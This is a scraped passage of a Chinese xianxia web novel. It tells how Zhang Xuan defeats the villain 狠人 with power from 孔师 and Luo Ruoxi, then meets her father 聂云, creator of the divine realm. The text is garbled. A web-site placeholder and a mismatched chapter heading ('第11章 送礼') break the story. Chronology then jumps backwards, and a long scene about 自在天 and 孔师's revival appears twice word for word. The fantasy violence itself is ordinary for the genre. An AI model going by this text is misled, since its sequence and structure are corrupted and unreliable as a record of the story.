自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第11章 送礼 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 